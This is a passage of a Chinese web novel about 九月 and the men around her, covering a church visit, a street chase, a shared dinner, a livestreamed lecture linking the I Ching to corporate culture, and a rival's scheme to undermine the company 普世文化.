莫诚伤感的道:“一个男孩喜欢一个女孩,被拒绝了就回家伤心哭一场。第二天又能像什么也没发生,像以往一样对女孩很好。找到时机就又去表白,直到被拒绝了七八次之后。终于,那个女孩被感动了,主动约他到了这条河边,这条河被称为小黄河。 回家时,女孩说:你曾经说不到黄河心不死,现在黄河你也到了,该死心了。” 九月原本以为是个伤感故事,没想到莫诚神反转,忍不住扑哧一声就笑了。 “网上看到的段子终于派上用场。”莫诚笑道。“你刚才在公路边凶我的样子吓到我了。” “我狰狞的一面被你看到了。”九月说着笑,眼底却一片清明,收敛笑意。 “你呀,真希望你能每天开开心心。”莫诚也没再笑,“走吧,我带你去一个地方。” 说着就牵着九月沿着河道快步往前,转了两个弯,林中出现教堂一角。 “教堂!”九月惊叹。 “快到了。”莫诚笑道。 眼前开阔起来,教堂面积不算特别宏伟,因为灯光设计的原因,远处看显得教堂金碧辉煌。走到它面前,发现高耸矗立乳白色的外墙和浮雕蒙了一层灰,显现出灰白的色彩。 想必建立时间有些久远了。 莫诚拉着她继续往里走。九月微微退拒,莫诚回头道:“没关系的,进来吧。” 里面很亮堂,静悄悄地一个人都没有。 他们在大厅的长椅上坐下来,九月在这种肃穆的场合很紧张,神色中多了一些敬畏。 “我小时候,经常来这里坐坐。尤其心情不好的时候。”莫诚兀自说道。 九月点点头,“这里确实有一种能量,让人的心情瞬间沉静下来。” “对,很神奇。从这里走出去,就仿佛重生了一样。进来之前的那些不愉快都在这里被击得粉碎。” 她转身打量教堂里的物件,看到一个形状很有特色略显高大的“轿子”,左右有两扇门,“那是什么?” 莫诚目光顺着她往那个方向看,眸子瞬间冷下来:“忏悔室。” “顾名思义,就是用来忏悔的?向天主忏悔吗?”九月饶有兴趣。 没听到回应,九月回头,看到莫诚神情复杂,目光冷冽而痛楚。 “莫诚。” 莫诚似是从回忆中抽身,“九月,时间不早了,我送你回家吧。” 接触到九月探究的眼神,莫诚有一刹那的慌乱,撇开脸看向别处。 “好。”九月又看了一眼忏悔室。 往回走的时候,两人踏着落叶,安静得能听见枯叶在脚底粉身碎骨的痛吟。 “莫诚,你那天说的是不是真的?” “什么?” “你说小竺是受你委托才格外关心我。” 莫诚垂着头,两手插进口袋里:“......” 九月停下来,“我和小竺认识的时候,并不知道你的存在。我们今年才相识,你这么说,我一直想不明白。” “不是今年才相识。”莫诚也停下来,温暖路灯印在他眸子里,熠熠生辉。“你还记得十二年前那场大雨吗?在大榕树下你淋着雨,车子拐着很急的弯冲过来,你连躲都不躲。” 九月怔怔听着,仿佛那场雨正在淋向她,眼光迷离,回忆起那时情景。 “那时,有人横冲过来推开我,自己却被车子刮了好远。”九月一脸震惊,回忆起少年起身后,一瘸一拐的离开了,她连他的脸都没看清。 司机慌张下车,要送他去医院,少年固执地甩开他的手。只记得他那白色的t恤在地上磨擦破损,手肘有带着鲜血的污泥,顺着雨水流下来。“是你!那人是你?!” 莫诚点点头,“是我。” “可是,为什么?”九月脑袋里像炸开了一支迷烟。他们素不相识,他作为路人救她已经该感恩戴德,为什么还要委托自己的妹妹关心她呢? “我看了新闻,知道你家里的事情。出于同情,想为你做点事情。”莫诚不敢看九月的眼睛,他捏造着谎言,“但在那之后没多久,我就出国了,只能将你委托给小竺。她找了好久,才找到你。” 九月呆在原地。 莫诚想起什么,解释道:“但是,当初的同情,到十二年后第一次相见,已经发生了变化。我喜欢你的时候,并不知道你就是雨中的女孩。” 九月渐渐接受了他说的话:“可在我们见面之前,小竺已经将你作为准男朋友介绍给我。又是怎么回事。” “她也为我的终身大事操心。”莫诚将复杂事情统统换了一个简单概念。“这就是缘份。” 七十三章 暗中监察 回到公寓时,她屁股还没坐热,就响起了敲门声。 原来是文菌,手里推着个大箱子。见到她开门,微喘着说:“本来两来约好去逛街,没想到你临时有约。想起你说去要买一只厨具,就替你逛了一下大卖场。我凭自己经验给你挑了一套,你看看是不是你想要的。我跟售货员讲好了,七天内无理由退货。如果买错了我拿去退了。” 九月感动得说不出话来,“你......文菌,你怎么这么好。” “害!都是邻居嘛。这些都是店员送到楼下电梯口,我又没费什么力气。”文菌抿唇笑笑。 她弯腰帮九月一起将箱子抬进房间。 “快坐,我也刚回来,开水都没烧。”九月点开饮水机上的按键,自动接水到水壶,自动烧水。 文菌也大大方方的坐下来,说道:“你房间真简洁。几乎没有多余的物件。” “嗯。素来不稳定,随时要搬家,所以学着过得精简些。”九月在柜子里,取出此前买的柚子蜜浆,加了些在两只干净的杯中。 取来开水冲泡,再加些枸杞。“来,喝杯柚子蜂蜜茶。山里的老手工艺,一个特别讲究的大娘制作的。绝对卫生。” “唔!还不错呢?”文菌浅尝一口,惊喜道。 “对,润肺止咳的功效,常喝有益。”每到这个季节都会犯秋咳,九月常在她那买来喝。效果显着。 “你住这里还适应吧?我这几天要做采访,制作内刊,下班挺晚的,所以没时间过来陪你说说话。” “有你这么好的邻居,特别幸福。以前可没遇到过你这样的邻居,早知如此,该早些搬进来。”九月发自肺腑地说道。 文菌很文静,也很爱笑,“你不嫌我烦就好。等你有空,随时可以去我房里坐坐。” 又聊了一会旁的事物,文菌说起今晚在街上的见闻,两人笑得前仰后俯。九月连自己也没发现,跟文菌在一起,无来由的就很放松,释放出她隐藏已久的天性,天南地北的聊,忘却时间与所有烦恼。 两人都没注意到,敞开的门口站着一个长身玉立的身影,听着二人笑语,唇角不禁也勾起好看的弧度。 他有多久没听到九月这样的笑声了? 平时她总是与人保持着不近不远的距离,对他更是若即若离,对世界总有一份发自骨子里的戒备。高兴起来也只是微微一笑,更多时候她浑身散发着理性而世故,总是心事重重的样子。 年少时,她可不是这样的。那时她很会耍无赖,黏人,会撒娇,笑起来很具感染力,对什么事都有探究不完的好奇心,又有一颗敏感善良的心,会不动声色的维护别人的自尊。 他打开自己的门,又轻轻合上。 但隔壁笑语戛然而止,显然已经听到虽然声响细微却具有穿透力的关门声。 “时间不早了,下次再来找你玩。你收拾一下早点睡吧。”文菌笑着说。 “那好,你也早点睡,晚安。”九月将文菌送到门口,看着她穿过走廊,消失在拐弯处,才将门合上。 打开纸箱,厨具一应俱全。她将那些物件一件件摆在厨房恰当的位置,厨房立即焕然一新。 收拾到很晚,总算躺在床上。大概是睡前有了充足的运动量,九月沉沉睡去。 报告通过后,九月按排好工作,马不停蹄地出差杨简公司。 而尚云也因为洽谈一个外地项目,出了一趟远门。 阿闲连续大半个月未出现,但并不闲着。他联系了以前的朋友,一起着手调查。发现了一些重要线索,正巧尚云这边接了一项案子,顺便就约好地点碰面。 民用出租房里,阿闲十指在键盘上翻飞,一会电脑上出现一段剪辑录像。他抬首示意另一人仔细看。 “你看看。”阿闲身子微倾让开。 画面不停抖动,显然是拍摄时一直在走路,看依稀能够分辨得出,那是一条偏荒的路,周围没有太多标志性建筑,像是在效外废弃的工业园里,但画面停止在工业园不远处,就不动了。 “怎么没有了?”说话的正是阿闲的朋友阿智。 “因为他们警惕性太高,我根本不敢靠得太近。走到这个工业园后面,他们就失去了踪迹。我怀疑这个破旧的工业园不同寻常。” 阿智点点头,重新又看了一遍录像。突然点击暂停,压抑着声音惊叫道:“你被人跟踪了。” 阿闲赶紧凑近画面,工业园的另一个侧面,一个黑影猫着身子,蹲在荒草从里。人影很小,又很模糊,看不清长相。但以黑影的姿势来看,似乎也在偷偷监视着什么。 “看来我们还是不够小心谨慎。”阿闲双手抱胸,眉头戚起,站起身在不算宽敝的客厅里来回踱步。 “现在怎么办?” “不对!”阿闲突然停下脚步,深不可测的一笑:“如果他跟踪我,怎么会出现在不同的方向?” 阿智把目光移向阿闲,瞬间会意:“你是说,他并不是在跟踪你?那他鬼鬼祟祟的蹲在那里……难道跟我们一样,也是想找游龙帮的制毒窝点的?” 阿闲轻轻呼了口气,“看来,至少除了我们,还有一班人马知道。” 阿智看了一眼画面上的黑影:“就是不知道他们是敌是友,不管怎样,他找到这里,就证明他与我们并不是处于对立关系,这对于我们非常有利。” “过一段时间,就需要那些东西了。我怕夜长梦多。”阿闲缓缓道,取而代之的是冰冷的眼神。“另外,你别再通过她去取东西,容易暴露对她不利。” 她是指阿智的女朋友。 “知道了。”阿智慢慢坐在沙发上。 阿闲也慢慢坐下,靠在皮沙发上,歪着头看阿智:“行事要注意安全,别太莽撞。” “管好你自己,你还说我。” 做这个职业就意味着,脑袋别在裤腰带上。只要任务没完成,他们就不能松懈,就没有未来可言。甚至,是否还能活着见到明天的太阳,也是没有把握的事。 第七十五章 尚云收服小年轻 九月在一伙人的追逐下慌不择路,好在街道横七竖八,条条大道都相通。正值工业区下班时间,路上人多,她身体瘦小,轻巧绕过,倒占了优势。 一伙人左闪右避一跳一跃间展露的全是练家子功夫,但毕竟路上人多,撞了这个推倒那个,人们躲的躲,叫的叫,乱成一团。 此时众人竟追不到一女的,这些年轻人心里早就气极败坏。边追着边骂骂咧咧的放狠话,其中开了摩托追过来。 九月听到摩托的马达声越来越近,后面有人威胁道:“你给我站住。再跑就直接撞了。” 就见几只橙子突然从头顶飞了过去,只听“啊”的一声惨叫,摩托车重重摔在身后。 九月刹住步子,谁知脚下尽是摩托车的破片,还有应声而倒炒粉摊子,汤粉撒了一地,她脚底一滑,身体不受控制地往前倒。眼看就要倒在一地油污上,九月吓得闭住眼睛,心中直呼上帝救命。 只闻一股轻淡的古龙香,她已经被人脸朝下捞住。半睁开眼睛,看到一双精致锃亮的皮鞋,和下方一片闪着晶莹亮光的油沫星子。 好险!她刚松了一口气,人已被一双手扶稳。她稍整仪容,抬头看向刚才救命主。人脸在彩灯照映下不太真实,面前站着的是一位脸色愠怒帅气刚毅的男人。 “尚总!”九月怔道。 尚云打量她后,将她挡在身后,看着那些跑散的“团队”慢慢聚拢,气焰更加嚣张。 “别多管闲事,把那女的交过来,在爷爷跟前磕头道谦,这事就算了!”为首的黄头发稍均了气息,脸色发红,大庭广众之下想挽回刚才狼狈的样子,语气越发嚣张,直接升级到爷爷辈。 听到叫嚣,尚云脸色发沉,淡淡地道:“你过来。” 这人气得发笑:“你是没长耳朵还是聋了!没听见爷爷跟你说的话吗!不要以为穿得人模狗样就敢在这里指手画脚,爷爷我看不惯你们这班孙子......” 一块饼飞过去,呼在黄头发脸上,虽说是软绵绵的面饼,但黄头发脸上竟出现了一只圆印子,红里透着青。黄头发捂着脸嗷嗷叫着,吐出一滩带着血色的口水,夹杂着一只蛀牙。尚云怒道:“这是学费,教你好好说话。” 黄头发缓过一口气,气极败坏地说:“兄弟们......上,都给我上!” 愣在当场的那伙人,听到他这一喊,这才一窝蜂的抄家伙过来。 “尚云当心。”九月失声叫道。 尚云瞥见旁边的果摊,“刷刷刷”几声,就见这些年轻人全坐在地上,要么捂着肚子,要么捂着腿,要么捂着胳膊,要么捂着脸。 “我不想跟你们一般见识,小小年纪不学好,今天是给你们的教训。” “九月,报警。” “已经报过警了。” 九月的话音刚落,就听警笛长鸣。黄头发想逃,被尚云快步过去按住,交给警察。 九月正在跟警察交涉,尚云回头,看到原本躲得远远的脸色惨白的大婶走出来,走过去说道:“这摊上的水果我都要了,包括被我扔的那些,你算好价钱,我给你钱。” 大婶心里头正在泣血,见两方架势又苦于不敢声讨,以后还得在这条街摆摊,心里直唤倒霉。听到尚云这番话,差点没流泪。 大婶哆哆嗦嗦拿着小本本,倒腾了半天给出一个数,尚云拿出一叠钞票给她。 “多了,多了。”大婶把多了的钞票抽出来要还他。 尚云摇摇头,将她的手推回去:“留着吧。算我道歉礼金。” 尚云又找到粉面摊主,对方是一个大叔,尚云跟他说了跟大婶同样一番话。粉面摊主倒是爽快,大概是对这些人深痛恶绝,此时竟说:“你可帮了大忙。这点损失不值几个钱,不用赔了。” 随后就听到身边走来一名工作人员,“随我去录个口供。” 尚云开着车,跟九月一齐去了派出所,录完口供,便走到这伙年轻人身边,放下一笔现金,还有一张名片:“这钱是给你们的医药费。父母将你们养大不容易,自己要学点技能傍身,担起男子汉的责任,为你们日益年迈的父母养老。以后不要再上街闹事,实在找不到工作,可以来找我。” 九月跟在尚云身后,时不时瞧一眼他。 “有话不妨说出来。”尚云停住脚步。 “你知道他们是谁吗?” “被开除的技术员找了一帮无业游民来报复你,不是吗?” “原来你知道。”九月似笑非笑,“刚才你好帅。” “以后不要在陌生地盘瞎逛。”尚云有些后怕,若是自己赶来及时,那帮年轻人心中没有个底线,不知道会对九月做出什么事。这正是他想收服他们的原因,留在社会上也是祸害。 见他板着脸,热脸贴了冷屁股,九月心里一顿腹诽,嘴上闷闷道:“知道了。” 见她脸色不悦,便又觉自己太过严厉了。明知故问,没话找话:“你没受伤吧?” “没有,多亏你出现及时。”九月听他关心的话,心里好受多了。突然跳起来,差点撞到车顶,“糟了!” 尚云被她吓一跳,“什么事?” “我带给文菌的特产。落在奶茶店了。” 尚云又带着她去取了东西,才开车回了宝宁市。尚云将车停在商超附近,九月不知道他想做什么,“不回去吗?” “去买点菜。” 九月一脸不可置信。 尚云淡淡道:“救你一命,就不该请我吃顿饭吗?” 买好菜之后,九月嘀咕道:“这刚搬家没几天,你怎么知道我还留着那些旧厨具?” 尚云耳朵可尖了,“文菌前段时间不是刚买了一套新的给你?” “你怎么知道。” “你们开着门说话那么大声,我不想知道也难。”尚云幽幽道。 九月忽然就笑了,尚云转头看了她一眼,脸上也浮现笑意。 回到公寓,九月打开了门,见尚云还跟在身后,便说,“你刚出差回来,先回去休息一下,我做好了叫你。” 尚云站着没动,“你不是也刚出差回来?”说着率先走进九月房里。 第七十六章 美丽企图心 房间布置倒是跟她租房差不多,但少了一样,他左看右看,没动静。 “洋洋在阳台。我给它买了一栋‘大别墅’安置在阳台,可舒适了。现在老是呆在屋里不愿意出来。”九月笑道,瞧他那样子,定是警惕洋洋冲出来蹭他裤腿。 他探头去阳头,果然看到一座木屋,上下三层,吊着各着玩具,铺着软绵绵的毯子,此时洋洋仰面躺在二层阁楼里拨弄着垂吊下来的九尾狐毛绒小布偶,玩得不亦乐乎。听到开门声,机敏地盯着声音来源,“喵呜”一声算是打招呼。 洋洋刚想过来,尚云便快速把阳台的门给带上了。 九月把买来的菜放在厨房,便洗米煮粥。 接水洗菜的时候,尚云出现在厨房门口,不自在的咳两声,“我来帮你吧。” 九月看了看,把手上洗净的胡萝卜和山药给他:“那你来削皮。” 过了一会想起什么,她刚要嘱咐他:“山药削皮后不能直接跟皮肤接触,不然皮肤发痒。” 回头就发现他一边削皮一边挠手掌。 尚云手足无措地盯着她一言不发,似乎在问,怎么不早说? “快,用水清洗。”九月又说。 尚云赶紧打开水龙头,将手放在水下冲洗。那严肃的神情在这样的场景中,反差强烈,竟有些呆萌。 九月忍不住笑出声,他自己也觉得忍俊不禁。又拿起削皮刀,自嘲道:“初次下厨,笨手笨脚。” “人不是万能的。总有不擅长的方面,这并不奇怪。” 话音刚落,又听一声吸气,九月转头,发现他左手食手血流如注。她急道,拿来纸巾给他缠住伤口,“先坐会,我去找药箱。” 他皱着眉,看她在房里直蹿,迅速冲进卧室,又快步出来,手里提着一个小药箱。让他坐在沙发上,自己蹲在他身前,挪开他一直用拇指按住的地方,立即涌出血来。 用双氧水清洗了伤口,又倒上止血散,覆上纱棉,再剪一节纱布缠住。动作俐落,熟稔而灵巧。她专注处理伤口,让他撇不开目光。 眼前的他们,就像回到了少年时代。那时的她活泼好动,看到他骑在自行车上的样子又帅气又神气,她抛开恐惧,竟然也抢着要学。大摇大摆的踩上去,还拒绝他的扶持,结果是摔得鼻青脸肿。 他无奈的给她擦药,一边包扎手肘上的伤口,一边叹气:“不会骑还不准我在后面扶,现在知道后果了吧。” 她不服气的埋怨:“为什么你让它往东它不敢往西,让它转弯它就乖乖转弯?凭什么我让它转弯,它就让我摔跤?” 他忍俊不禁,弯起食指轻轻敲在她额头上:“傻丫头,学东西不能心急的。” …… 那时娇气任性的女孩,如今她生活独立,在职场游刃有余,性格也坚韧成熟。岁月将她精雕玉琢成一件珍宝,却不管她累不累,痛不痛。 他低头看她收拾药箱,碎发垂在额前,遮不住他紧蹙的眉宇苍桑,但目光里流露出藏匿不住的怜惜与温柔。 她抬头即看到了那样让人心悸的眼神,又看着那抹情愫在他眼里迅速隐去,几疑自己幻视。 他很快侧头看着别处。 九月也提着药箱起身:“你坐会,我很快就做好。” “嗯,给你添乱了。”他客气地说。 果然,没有他在厨房捣乱,她不一会就将两菜一汤端上桌。 一盘红烧鸭,一盘紫扁豆烧鸡肉,一大碗排骨山药汤,汤里放了些许玉米和胡萝卜。 她一边用围裙擦着手上的洗手净的手,“我去叫文菌一起吃点儿。” “她请了一天假,今天下班就回老家了。”尚云提醒道。 回家?她刚想说,不年不节的怎么请假回去,就想起后天就是中秋节。“快中秋节了,怪不得。” 她重新坐下,盛了汤给他,“多喝点,对肠胃有益。” 香喷喷的粥也端了上来,粥了加了些肉丝和排骨,吃起来并没有想像中那样柴,很滑嫩。 “手艺不错。”他边吃边说,也确实饿了。 九月笑道:“那就多吃点,这些食物容易消化。” 幸福是什么?像此时温暖的橙色灯光下,一张餐桌,两个人,热气腾腾的饭菜,氛围和谐的交流,若有若无的情愫。 在其他人眼中,这样再寻常不过的普通日常,却是两人求之不得的奢望。 两人默契地握着筷子,尽管已经吃饱。延长这样的时光,放下筷子就意味着两人将要重新套上冷硬的铠甲,见面只有公事公办的表情。 “我给你倒杯茶。”九月说道。 “好啊。”尚云放下手中的汤勺。 九月说的茶,就是柚子蜂蜜茶。他尝了一口,像是尝出来了。心中一动,这还是当年他托人给她找的饮品方子。“秋咳好些了吗?” “因为常常备着这个,这些年很少再患。” “嗯,那就好。” “以后,只要我没出差,你都可以过来吃晚餐。”九月说道,胃病靠养,食疗是最好的治愈方式。 见他盯着手中的茶杯没说话,她又补充一句,“反正我自己也要吃嘛,到时我将文菌也叫上,住在一层楼,互相关照。” “到时候再看吧。”他回应,起身将茶杯放在桌上,“早点休息。” 尚云回到自己房间,步履沉重地踱步到阳台。沉静如水的眼眸,在月光下泛着泪光。 他贪念跟九月的相处时光,命运如此苛刻,将她塞进他的生命里,却不准他有半点企图心。 梦中老人那残酷的谶语时时刻刻提醒他。 “初年主家豪富,之后刑亲克友,除了15岁内的亲友可幸免于难,其他亲友无一幸免。若无大举善念化解,将三生三世命运反复,一辈子孤苦伶仃,六亲无缘,孤独终老之相啊!” 他可以心存侥幸地认为这是封建迷信,这太过荒谬。但是,他敢拿九月的命去赌吗? 他不敢。 自己原生家庭家破人亡的经历,又在慕家生生重演,九月当年未满15岁才得已幸存在世。 如今已知是人为,然而,上天有命,才有浩劫。 一切像是应验了梦中老人的谶语。 他心如死灰,既然逃不过命运这只大手的安排,不如顺应天命,别再有过多的祈愿。 怪只怪,他终究是血肉之躯,只是一个再普通不过的男人。 抵不过内心的情感,有自己想要呵护一生的恋人,想承诺一生与挚爱共度一生。 秋夜凉,凉不过这心底的无力。 第七十七章 普世大开大合 中秋前一天,莫诚和小竺就相继打来电话,约九月一齐过中秋节,下午来接她。 九月以下午有工作为由推了。 她确实有工作,答应了尚云中秋节要协助他直播授课。 “那晚上呢?晚上去接你也可以。”莫诚沉默时,小竺在旁递了一句话。 九月想了想,回道:“现在还不知道,看情况,我到时候再发信息给你们。” 其实,这一天的工作,确实只是协助。全程都是尚云在讲,在专业课程上他滔滔不绝,引人入胜,而九月则负责回应公屏上的信息及留言。 “有的朋友问,什么是企业文化,它对企业到底有什么作用,有没有像外界传的那样神乎其神?其实,这是多数朋友心中的疑问,在正式讲企业文化的内容之前,我想用《易经》中的第一卦——乾卦,来简单说说企业文化的到底起到什么作用。” “不要小看这一个乾卦,光是这一个卦,都够我用一生了。无论遇见什么境况,任何事务都可以融进这副卦中,找到自己目前的阶段,自然而然就知道接下来该怎么做,什么时候该退一步,什么时候该进一步。 特别在历尽苍桑后,物是人非,心境也变了。再去看这几句爻辞,还是可以把当下的境况融进公式里去。一时间,进退都有答案,非常奇妙。” “比如说将企业文化融进乾卦之后,我们看第一爻,潜龙忽用,这是企业文化的形成阶段。在企业成立之初,一切初具雏形。但企业文化还没有成型,只是一种理念,在创始人心中,在每一次决策中,还没能把它系统的传达给团队。 企业文化跟人一样,三岁看大,七岁看老。 在未成型的阶段,虽然还没有显露出企业文化的威力,却能左右企业的未来发展。这时候的企业文化虽不是使用阶段,却是非常关键的养成阶段。” “第二句爻辞,是见龙在田,这时是企业文化的成型阶段。企业初具规模的时候,更侧重于经营管理。 企业文化在前一阶段的养成之后,在这时候就正式派上用场了。这时候团队需建立共识,因为这个阶段要大力宣传和实践,上行下效,反反复复执行。 大家都清楚知道制度规则,已经达成了共识,要去什么方向?有什么途径?用什么方式?” “第三句爻辞,终日乾乾,企业文化成型之后,并没有就此了事,还需后面更多的规则和行为约束,不断修正和蓄积力量,直到形成思维模式。 随着企业有所成就,在行业内找到了自己的定位和地位,但是不上不下,成就让人欣喜,又危机四伏。现状已经无法再提升企业的力量。 这时候,企业要寻求更多的力量自保,在这个瓶颈中找到自己的不足,投入更多的力量去研发产品,突破瓶颈。 企业文化也要跟着企业的战略作出修正,使团队明白,方向还是那个方向,但原来规划好的路随着时代或市场的变化已经不适用,环境一变化,途径和方式都要变化。” “第四句爻辞,或跃在渊,企业文化的变革。 当企业研发出独一无二先进的技术或产品,经历那么多磨砺和痛苦,越发强大。企业文化实际就包含经营中一切布局,为发展保驾护航。 在这个时候企业文化需要优化升级,企业价值观会渗入到每一个决策中,以及每个部门的运行中。文化的变革若是失败非常危险,让企业雪上加霜,变革成功等于一次重生,进入一个高速发展阶段。” “从第五句爻辞来看,飞龙在天。这时候曙光在现,我们基本已经看到企业文化经过变革,助力企业带来更广阔更理想的发展。 很多企业跟上时代变化,顺利转型或优化升级,就像突然产生强大的爆发力,一日千里。这时候可谓飞黄腾达,万众瞩目。 因为优秀,很多客户自动上门寻求合作,优秀的供应商会自发努力,要跟上这家企业发展,生怕被淘汰。这就是大者恒大,小者恒小的规律。顶尖出色的企业,会得到顶尖出色的资源,强强联合,愈发强大。 企业文化在这里属于维稳状态,一切都顺顺当当,不显山露水。就像车辆高速运转,有惯性,不需要再耗费更多的气力和油水。” “最后一句爻辞,也是大家耳熟能详的降龙十八掌的最高招式——亢龙有悔。可想而知,我们易经中常说满招损,谦受益。当企业高处不胜寒时,更需要优秀的企业文化制约。 经历了上一阶段各种优质资源的加持,企业几乎成为龙头老大了。指点江山,风光无限。 企业和人一样,本身就是人组成的团体,具备千奇百怪的人性。如果企业傲慢是人在傲慢,如果企业低调、内修,是人在低调、内修。 这个阶段,能稳住人心的,还得是企业文化,它又成了重中之重,规则和制度非常重要,约束人性,抓紧沉潜,准备创造下一个高峰。” “时代需要创新,企业也需要不断创新,进步无止境,古人坐着轿子,骑着马,以为是最快最方便的交通工具,但没想到今天还有高铁、飞机这种交通工具,几个小时就能穿越到另一个城市、另一个国家。我们曾经以为大哥大就是时代终结者,能连线任何一个有电话的人。 没想到现在的手机不仅能连续,还能共享实景,看到你想看到的任何世界角落;还有我们的互联网发展,以及智能科技,我们的行动不再是城市与城市之间,也不是国家与国家之间,而是地球与其他星球之间,通过卫星,我们能实现的东西越来越多,每一个都是超越巅峰再到另一个巅峰。 说到底,世界在发展,科技在不断创新,只有你想不到,没有做不到。如果没有文明,人间没有安稳、安全可言,这个世界将成为炼狱。 企业在不断创新,若没有使命在肩,没有正确的核心价值观,没有健全的企业文化,无非两种结局,要么不择手断活下来,要么昙花一现消逝。 大环境恶劣,生存都是问题,更别提实现社会价值。 我们普世此次公开免费授课,传播文化和文明,就是希望大家不仅将自己做强做大,良性竞争,也能用正确的价值观健康长远的发展,促进社会的和谐。 普世文化愿意牵头,成为这次文化改革的拓荒者,给企业担当者,也给我们的后代留下更完善的生存空间。” 九月适时地给尚云送上一杯暖茶,说道:“好,请尚总先休息十分钟,为稍后的正课内容做准备。 刚才尚总用一个乾卦深入浅出的解释了企业文化对个人、对企业、对社会的作用和影响,它的重要性不言而喻。 那很多人在后台发弹幕提到,企业文化重要,还是管理制度重要?这两个没有可比性,文化就在管理制度里,管理模式也是企业文化的一部分。 我们常说企业里群龙无首会混乱不堪,但我们抬头看看大自然,有没有人管着太阳几点出来,几点下山?有没有人规定一年四季要按照顺序来,不要乱了规则? 答案是:没有。 最好的企业管理和企业文化,就要像大自然一样,没有人跟在屁股后面督促、监察,但公司仍然有序不紊的运转,这就是最好的管理。 因为卓越的企业,他的文化已经潜移默化入木三分,形成一个大天地,在这个天地(企业)里,天道酬勤,规则透明,我付出多就收获多,我付出少就收获少。 当所有人都知道制度规则,并严格执行规则,就不会乱了套。如果违反,会有相应的制度惩罚。说到底,不是人管人,而是制度管人,最高级的管理是文化管人。 所以,群龙无首,在《易经》中不算“凶”,而是“吉”,也是智慧的升华。 对于老祖宗的智慧,我心服口服。那么现在我们先听两首歌,休息一下,体味尚总刚才所说的内容,不要走远哦,稍后继续由尚总讲解今天的干货课程。” 九月打开音乐,关了摄像头和麦。兴奋地道,“尚总,超七百万粉丝了!” 尚云微微一笑,“这么多人愿意关注、学习企业文化,这是好现象。” 九月念着弹幕道:“我们公司全员都来学习企业文化,尚总威武!哇!尚总,你看,这家企业全员出动。觉悟很高呀!” 尚云喝了一口茶,看了便轻笑道:“没猜错的话,这家公司是金仕集团。” ...... 仲秋之夜,普世文化一战成名。 第七十八章 小竺的歼敌计划 有人欢喜有人忧。 普世文化的曝光度和知名度又刷新一个维度,举国皆知。而克普公司几位重要人物更是焦虑到睡不着觉。要知道,雷默当初一掷千金,将全副身价都砸进了克普公司。 “秦小姐,你看普世的App直播了没有,这样下去,克普的计划就泡汤啦!当初坚持己见要投资克普,也不想想普世文化是谁创建的。当年金仕集团眼看都没救了,他尚云凭借一己之力,硬是让它站上高枝成了凤凰......” “够了伍叔,我不会让克普输的,大敌当前你可要稳住,乱了军心可就真的溃不成军。这个道理以你的资历,应该比我要懂。” “总而言之,雷默是我们几位跟你父亲的心血,当初相信你,是因为你父亲有恩于老兄弟几个。但不代表你可以胡乱作为。一定要想尽办法挽回颓势!” “放心伍叔。我有办法。另外,向您道声中秋安康,佳节快乐。”小竺挂断电话后,强装的笑脸渐渐消失,转瞬布满寒冰,咬牙切齿地说道:“都是一群没用的马后炮,当初你们话说得比谁都漂亮,真出点事就把责任全冠在我头上!” 若克普败于普世,不仅颜面尽失,就连父亲一直悉心经营的雷默集团都将成为他人砧板鱼肉。要知道雷默集团70%股权没在自己手上,他们虎视眈眈,随时吞掉她手上的30%。 “尚云!敢玩我!”小竺气愤之余,一把将正在观看普世文化直播的手提电脑,举过头顶,用力砸在地上。 电脑应声成了两截,她仍不解气,一把扫落桌上的水晶地球仪,随着清脆一连串响,碎掉的水晶碎片撒满地,连带撞倒的古董花瓶也哗啦啦碎了一地。 少顷,秦姨闻声赶来。惊道:“二小姐。”那可都是箫章生前最爱惜的物件啊! 看她那样可怖的怒容,秦姨把话咽了下去,转身去拿打扫工具。 小竺调匀呼吸,看着秦姨拿来打扫工具收拾狼籍的房间,一言不发拿了风衣就出了门。 启动车子之前,她莫诚拨了个电话,“九月直播即将结束,再打电话约她。” 莫诚狐疑道:“你表现得比我还积极?不是突然反对我俩在一起吗?” “我反对你会听么?不要以为我不知道,你想娶九月,戒指都订好了,我这个做妹妹的还能不祝福你们? 何况,我与九月毕竟有这么多年的姐妹情份,我也希望她幸福,而这么多年铁证如山,你是唯一能带给她幸福的人。” 莫诚听她这番话,嘴角微微一抿,“算你还有良心。” 收了电话,小竺冷冷一笑,眼底比任何时候都要冷漠。 她又拨了一番电话,“见一面。在笛凯酒吧。” 她选了包间,侍者端酒进来后,林作杰不久后也出现在包厢里。笑嘻嘻地说:“箫董事长,今天中秋节啊!理应跟老公在一块,没想到你会打电话给我,真是受宠若惊。” “没心情开玩笑。普世今天的直播你看了吗?我刚受董事会那帮老头一顿训,什么心情都没了。我现在能相信的人只有你。” “我知道,我知道,我也接到他们的电话了。在我面前说的那些话更难听。对你可能还客气点。没事,只能想开点。” 小竺烦躁地饮光手里的酒。“光是想开点就能解决问题的话,我就不会找你出来。我之前打算跟尚云合作,但他明着答应,暗地里却在布局应对。我知道他不会轻易服输,但没想到他的策略出乎我的意料,防不胜防,才会有今天克普被动的局面。我不能干等下去,有个新计划,在别的地方见面不方便说。所以约你来这里。” “好,只要是你的计划,我都帮你去执行。”林作杰正色道。 小竺便道:“普世公司有三大核心布局,公司管理层面,木信全面接盘,而蓝鲸暂时由尚云亲自接管,看他培养慕九月的方式,大有将她当成接管三大蓝鲸团队的总负责人的趋势。 普世是一家本身文化功能属性较强的公司,公司以军式化管理为底子,而培训是重中之重,所以,据我兄长莫诚之前在普世短暂经历透露过,严教官则是三大核心人物之一,专门负责公司文化培训与拓展训练。 只要将这三大核心人物逐一离间,普世文化基本就垮了一半。” 林作杰皱眉思索,“这几个核心人物都是尚云亲自扶起来的,感情深厚不说,也都在公司里有权有面的体面职务,不比那些不得志的人。想离间可不容易。” 小竺举手示意打住:“凡人凡事,任你防得滴水不漏都有破绽。先说慕九月,我兄长慕诚跟她走得近,而且似乎朗有情妹有意,只要她愿意嫁给莫诚,以她重情重义的性子,绝不会帮着普世攻击克普,当然,也不会帮着克普打压普世,但她绝对会退出职场。尚云培养她的计划就彻底落空。 木信有一个女朋友,两个是从中学到大学的同学,日久生情,情义笃厚,从这一点着手,可以牵制木信退出普世文化。 至于那个姓严的培训教官,低调隐秘,平时也没有什么社会交际,目前还不清楚他的底子,但舍得几两银子,调查一下就一清二楚了。” 林作杰拍拍大腿:“高!要不怎么说将雷默交给您而不是大公司,前董事长是眼光独到。”举起酒杯,“来,应个节,我敬你一杯,节日快乐,一展鸿图!” 中秋当晚,下了直播课之后,尚云携木信一起赴约,应邀参加金志高举办的中秋晚宴。 金志高当然也邀请“慕小姐”了,但九月推说晚上有事,尚云深深看她一眼,嘱咐她注意安全,便和木信走了。 